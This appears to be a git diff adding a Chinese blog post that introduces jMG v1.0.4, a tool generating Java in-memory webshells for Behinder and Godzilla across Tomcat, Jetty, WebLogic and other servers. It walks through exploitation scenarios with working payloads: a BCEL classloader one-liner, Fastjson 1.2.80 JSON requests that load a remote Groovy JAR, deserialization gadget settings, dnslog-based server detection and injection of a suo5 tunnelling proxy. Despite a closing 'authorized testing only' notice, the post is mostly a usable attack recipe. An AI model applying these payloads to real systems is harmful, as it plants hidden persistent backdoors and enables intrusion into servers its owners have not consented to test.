|
| 1 | +--- |
| 2 | +title: jMG v1.0.4 - 高度自定义的 Java 内存马生成工具 |
| 3 | +author: pen4uin |
| 4 | +date: 2023-06-04 |
| 5 | +--- |
| 6 | + |
| 7 | +# jMG v1.0.4 - 高度自定义的 Java 内存马生成工具 |
| 8 | + |
| 9 | +## 0x01 简介 |
| 10 | + |
| 11 | +**jMG (Java Memshell Generator)** 是一款支持高度自定义的 java 内存马生成工具,可作为 woodpecker 的插件使用,提供常见中间件的内存马注入支持。 |
| 12 | + |
| 13 | + |
| 14 | + |
| 15 | +功能介绍 |
| 16 | + |
| 17 | +- 支持的中间件 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/Spring) |
| 18 | +- 支持的网站管理工具 (Behinder/Godzilla/Custom) |
| 19 | +- 支持的内存马类型 (Filter/Listener/Interceptor) |
| 20 | +- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER) |
| 21 | +- 支持的辅助模块 (探测目标中间件/序列化数据封装) |
| 22 | + |
| 23 | +模块划分 |
| 24 | + |
| 25 | +- 内存马生成模块 |
| 26 | + - Behinder、Godzilla |
| 27 | + - Custom |
| 28 | + - 注入自定义的Filter和Listener,常见场景:其他网站管理工具的服务端、内存代理、内存水坑等 |
| 29 | +- 辅助模块 |
| 30 | + - ServerType Detector 中间件探测器 |
| 31 | + - 探测中间件信息,常见场景:SpringBoot Fatjar |
| 32 | + - 提供 4 种方式判断目标中间件 (DFSEcho/Sleep/DNSLog/HTTPLog) |
| 33 | +- Ysoserial Payload Generator |
| 34 | + - 基于 ysoserial-for-woodpecker 对反序列化漏洞利用提供支持、提高漏洞利用效率 |
| 35 | + |
| 36 | + |
| 37 | +参数说明 |
| 38 | + |
| 39 | +| 参数名称 | 参数说明 | 其他 | | |
| 40 | +|-------------|----------|----------------------------------------|-| |
| 41 | +| server_type | 选择中间件的类型 | | |
| 42 | +| shell_type | 选择内存马的类型 | | |
| 43 | +| gadget_type | 选择利用链的类型 | 根据gadget自动完成对class的特殊处理,如继承类、实现接口、添加注解 | |
| 44 | +| format_type | 输出格式 | | |
| 45 | + |
| 46 | +更多参数 - 参数自定义 |
| 47 | + |
| 48 | + |
| 49 | + |
| 50 | +## 0x02 中间件覆盖情况 |
| 51 | + |
| 52 | +| | godzilla-listener | godzilla-filter | behinder-listener | behinder-filter | |
| 53 | +|-----------------|-------------------|-----------------|-------------------|-----------------| |
| 54 | +| tomcat 9.0.39 | ✅ | ✅ | ✅ | ✅ | |
| 55 | +| tomcat 8.5.53 | ✅ | ✅ | ✅ | ✅ | |
| 56 | +| tomcat 7.0.59 | ✅ | ✅ | ✅ | ✅ | |
| 57 | +| tomcat 6.0.48 | ✅ | ✅ | ✅ | ✅ | |
| 58 | +| tomcat 5.5.36 | ✅ | ✅ | ✅ | ✅ | |
| 59 | +| jetty 9.4.43 | ✅ | ✅ | ✅ | ✅ | |
| 60 | +| jetty 8.2.0 | ✅ | ✅ | ✅ | ✅ | |
| 61 | +| jetty 7.6.0 | ✅ | ✅ | ✅ | ✅ | |
| 62 | +| resin 4.0.66 | ✅ | ✅ | ✅ | ✅ | |
| 63 | +| resin 3.1.15 | ✅ | ✅ | ❌ | ✅ | |
| 64 | +| weblogic 10.3.6 | ✅ | ✅ | ✅ | ✅ | |
| 65 | +| weblogic 12.1.3 | ✅ | ✅ | ✅ | ✅ | |
| 66 | +| websphere 8.5.5 | ✅ | ✅ | ❌ | ✅ | |
| 67 | +| websphere 9.0.0 | ✅ | ✅ | ❌ | ✅ | |
| 68 | + |
| 69 | +注:以上测试结果仅供参考 |
| 70 | + |
| 71 | + |
| 72 | +## 0x03 常见漏洞场景 |
| 73 | + |
| 74 | +### 01 文件上传漏洞 (JSP) |
| 75 | + |
| 76 | +本地测试环境 |
| 77 | +- Tomcat v6.0.48 |
| 78 | +- JDK 8 |
| 79 | +- 文件上传 |
| 80 | + |
| 81 | +1、生成 jsp 文件 |
| 82 | + |
| 83 | + |
| 84 | + |
| 85 | +2、上传 jsp 到目标服务器,访问即可注入内存马,参考使用说明进行设置 |
| 86 | + |
| 87 | +- 设置请求头 |
| 88 | + |
| 89 | + |
| 90 | + |
| 91 | +3、成功连接 |
| 92 | + |
| 93 | + |
| 94 | + |
| 95 | +### 02 反序列化漏洞 (readObject) |
| 96 | + |
| 97 | +本地测试环境 |
| 98 | +- Tomcat v8.5.53 |
| 99 | +- JDK 8 |
| 100 | +- readObject 反序列化 |
| 101 | +- CB1 链 |
| 102 | + |
| 103 | +1、生成 class 文件 |
| 104 | +```text |
| 105 | +server_type=Tomcat |
| 106 | +shell_type=Listener |
| 107 | +# 继承 AbstractTranslet |
| 108 | +gadget_type=JDK_AbstractTranslet |
| 109 | +format_type=CLASS |
| 110 | +output_path=/tmp/ |
| 111 | +``` |
| 112 | + |
| 113 | + |
| 114 | + |
| 115 | +2、使用 `辅助模块` 进行序列化数据封装 |
| 116 | + |
| 117 | +```text |
| 118 | +yso_gadget=CommonsBeanutils1 |
| 119 | +yso_cmd=class_file:/tmp/HttpClientUtil.class |
| 120 | +format_type=BASE64 |
| 121 | +``` |
| 122 | + |
| 123 | + |
| 124 | + |
| 125 | +注:依赖 https://github.com/woodpecker-framework/ysoserial-for-woodpecker |
| 126 | + |
| 127 | +3、利用后,参考使用说明进行连接 |
| 128 | + |
| 129 | + |
| 130 | + |
| 131 | +### 03 表达式注入漏洞 (EL) |
| 132 | + |
| 133 | +本地测试环境 |
| 134 | +- Tomcat v8.5.83 |
| 135 | +- JDK 8 |
| 136 | +- EL 表达式代码执行 |
| 137 | + |
| 138 | +1、生成 class文件 |
| 139 | +```text |
| 140 | +server_type=Tomcat |
| 141 | +shell_type=Listener |
| 142 | +gadget_type=NONE |
| 143 | +format_type=CLASS |
| 144 | +output_path=/tmp/ |
| 145 | +``` |
| 146 | + |
| 147 | + |
| 148 | + |
| 149 | +2、使用 jexpr-encoder-utils 进行封装 |
| 150 | + |
| 151 | + |
| 152 | + |
| 153 | +注:依赖 https://github.com/woodpecker-appstore/jexpr-encoder-utils |
| 154 | + |
| 155 | +3、利用后,参考使用说明进行连接 |
| 156 | + |
| 157 | + |
| 158 | + |
| 159 | +### 04 代码执行漏洞 (Bsh) |
| 160 | + |
| 161 | +本地测试环境 |
| 162 | +- Resin v4.0.40 |
| 163 | +- JDK 8 |
| 164 | +- Bsh 代码执行漏洞 |
| 165 | + |
| 166 | +1、选择 输出格式为 BCEL ,生成 paylaod |
| 167 | +```text |
| 168 | +server_type=Resin |
| 169 | +shell_type=Listener |
| 170 | +gadget_type=NONE |
| 171 | +format_type=BCEL |
| 172 | +``` |
| 173 | + |
| 174 | + |
| 175 | + |
| 176 | +2、利用 BCEL 打内存马 |
| 177 | + |
| 178 | +```text |
| 179 | +new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("BCEL编码后的paylaod").newInstance(); |
| 180 | +``` |
| 181 | + |
| 182 | +3、参考使用说明进行连接 |
| 183 | + |
| 184 | + |
| 185 | + |
| 186 | +### 05 反序列化漏洞 (Fastjson) |
| 187 | + |
| 188 | +本地测试环境 |
| 189 | +- Tomcat v8.5.83 |
| 190 | +- Fastjson v1.2.80 反序列化漏洞 |
| 191 | +- Groovy v3.0.8 |
| 192 | + |
| 193 | + |
| 194 | +1、选择 输出格式为 JAR,生成 payload |
| 195 | + |
| 196 | +```text |
| 197 | +server_type=Tomcat |
| 198 | +shell_type=Listener |
| 199 | +# 选择利用链为 Fastjson+Groovy |
| 200 | +gadget_type=FastjsonGroovy |
| 201 | +format_type=JAR |
| 202 | +output_path=/tmp/fj/ |
| 203 | +``` |
| 204 | + |
| 205 | + |
| 206 | + |
| 207 | +2、利用 groovy 利用链打内存马 |
| 208 | + |
| 209 | +第1个请求 |
| 210 | + |
| 211 | +```json |
| 212 | +{ |
| 213 | + "@type":"java.lang.Exception", |
| 214 | + "@type":"org.codehaus.groovy.control.CompilationFailedException", |
| 215 | + "unit":{} |
| 216 | +} |
| 217 | +``` |
| 218 | + |
| 219 | +第2个请求 |
| 220 | + |
| 221 | +```json |
| 222 | +{ |
| 223 | + "@type":"org.codehaus.groovy.control.ProcessingUnit", |
| 224 | + "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", |
| 225 | + "config":{ |
| 226 | + "@type":"org.codehaus.groovy.control.CompilerConfiguration", |
| 227 | + "classpathList":"http://127.0.0.1:8888/NetworkUtils.jar" |
| 228 | + } |
| 229 | +} |
| 230 | +``` |
| 231 | + |
| 232 | + |
| 233 | + |
| 234 | +3、参考使用说明进行连接 |
| 235 | + |
| 236 | + |
| 237 | + |
| 238 | +### 06 模板注入漏洞 (Thymeleaf) |
| 239 | +本地测试环境 |
| 240 | +- SpringBoot v2.2.0.RELEASE |
| 241 | + - 内嵌 Jetty |
| 242 | +- JDK 8 |
| 243 | +- Thymeleaf 模板注入漏洞 |
| 244 | + |
| 245 | +由于 springboot 可以自定义中间件,所以在 springboot 场景下注入内存马时需要考虑目标中间件可能不是常见的tomcat,有可能是jetty/undertow,也有可能是信创中间件。 |
| 246 | + |
| 247 | +这种情况一般有两种方案: |
| 248 | +- 注入框架层面的内存马,比如 interceptor |
| 249 | +- 先判断出目标中间件,再注入对应中间件的内存马 |
| 250 | + |
| 251 | +这个时候就需要上 辅助模块 - ServerType Detector 来探测目标中间件。 |
| 252 | + |
| 253 | +1、优先使用 DFSEcho 通过回显来判断目标中间件,失败后再考虑dnslog等其他选择 |
| 254 | + |
| 255 | +```text |
| 256 | +detect_way=DFSEcho |
| 257 | +server_type=Tomcat |
| 258 | +dnslog_domain=xxx.dnslog.cn |
| 259 | +httplog_url=http://xxx.httplog.cn |
| 260 | +sleep_seconds=5 |
| 261 | +gadget_type=NONE |
| 262 | +format_type=BCEL |
| 263 | +``` |
| 264 | + |
| 265 | + |
| 266 | + |
| 267 | +2、获取到目标中间件为 jetty |
| 268 | + |
| 269 | + |
| 270 | + |
| 271 | +3、生成对应的 payload |
| 272 | + |
| 273 | +```text |
| 274 | +server_type=Jetty |
| 275 | +shell_type=Listener |
| 276 | +gadget_type=NONE |
| 277 | +format_type=BCEL |
| 278 | +``` |
| 279 | + |
| 280 | + |
| 281 | + |
| 282 | +4、漏洞利用 |
| 283 | + |
| 284 | +第1次尝试 - 失败 |
| 285 | + |
| 286 | + |
| 287 | + |
| 288 | +很常见的问题,参考 shiro 的漏洞利用的解决方案,写个 loader 加载字节码再 defineclass 即可。 |
| 289 | + |
| 290 | +重新生成 payload |
| 291 | + |
| 292 | + |
| 293 | + |
| 294 | +5、利用后参考使用说明进行连接即可 |
| 295 | + |
| 296 | + |
| 297 | + |
| 298 | +更多的场景就见仁见智了。 |
| 299 | + |
| 300 | + |
| 301 | +## 0x04 常见利用场景 |
| 302 | + |
| 303 | +### 01 注入内存代理 |
| 304 | +本地测试环境 |
| 305 | + |
| 306 | +- Tomcat v8.5.53 |
| 307 | +- JDK 8 |
| 308 | +- readObject 反序列化 |
| 309 | +- CB1 链 |
| 310 | + |
| 311 | + |
| 312 | +1、以 suo5 为例,编译 Suo5Filter.java |
| 313 | + |
| 314 | +https://github.com/zema1/suo5/blob/main/assets/Suo5Filter.java |
| 315 | + |
| 316 | +2、选择对应的中间件,生成 payload |
| 317 | + |
| 318 | +```text |
| 319 | +server_type=Tomcat |
| 320 | +gadget_type=JDK_AbstractTranslet |
| 321 | +format_type=CLASSc |
| 322 | +lass_file_path=/tmp/Suo5Filter.class |
| 323 | +output_path=/tmp/ |
| 324 | +``` |
| 325 | + |
| 326 | + |
| 327 | + |
| 328 | +3、使用 辅助模块 进行序列化数据封装 |
| 329 | + |
| 330 | + |
| 331 | + |
| 332 | +4、利用后连接测试,内存代理注入成功 |
| 333 | + |
| 334 | + |
| 335 | + |
| 336 | + |
| 337 | +## 0x05 小结 |
| 338 | + |
| 339 | +下载地址 |
| 340 | + |
| 341 | +[java-memshell-generator](https://github.com/pen4uin/java-memshell-generator) |
| 342 | + |
| 343 | +注意⚠️ |
| 344 | +```text |
| 345 | +该工具仅适用于在授权环境/测试环境进行使用,请勿用于生产环境。 |
| 346 | +如果遇到 bug / 建议 / 实战场景需求,欢迎提 issue 交流 |
| 347 | +``` |
| 348 | + |
| 349 | +目录结构如下 (需要下载 yso-for-woodpecker) |
| 350 | +```text |
| 351 | +pen4uin@bogon Desktop % tree /tmp/woodpecker |
| 352 | +/tmp/woodpecker |
| 353 | +├── common |
| 354 | +│ └── ysoserial-for-woodpecker-0.5.2.jar |
| 355 | +├── config.db |
| 356 | +├── plugin |
| 357 | +│ └── jMG-1.0.4.beta1.jar |
| 358 | +└── woodpecker-framework.1.3.5.jar |
| 359 | +``` |
| 360 | + |
| 361 | + |
| 362 | +<br> |
| 363 | +参考 |
| 364 | +- https://github.com/feihong-cs/memShell |
| 365 | +- https://github.com/su18/MemoryShell |
| 366 | +- https://github.com/woodpecker-framework/ |
| 367 | +- https://github.com/BeichenDream/GodzillaMemoryShellProject |
0 commit comments